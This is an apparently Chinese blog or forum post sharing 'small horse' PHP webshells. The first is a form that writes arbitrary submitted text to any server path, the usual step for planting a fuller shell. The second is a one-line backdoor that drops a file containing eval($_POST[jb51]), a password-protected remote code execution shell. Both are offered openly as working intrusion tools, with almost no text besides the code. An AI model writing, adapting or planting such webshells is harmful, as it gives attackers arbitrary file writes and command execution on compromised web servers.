我也来个超小PHP小马
复制代码 代码如下:
<?php
header("content-Type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
?>
<form method="POST">
保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
<form>
<?php
if(isset($_POST['file']))
{
$fp = @fopen($_POST['file'],'wb');
echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失败!';
@fclose($fp);
}
?>
昨晚无聊看了会 php 的教程，发现php真是相当的强大啊！顺便写了个php小马
下面直接贴代码了。。

php一句话小马的后门
复制代码 代码如下:
<?fputs(fopen(jb51.php,w),<?eval($_POST[jb51]);?>)?>
这样访问之后，在当前目录生成jb51.php 内容为 <?eval($_POST[jb51]);?>)?> 的一句话小马，密码为 jb51
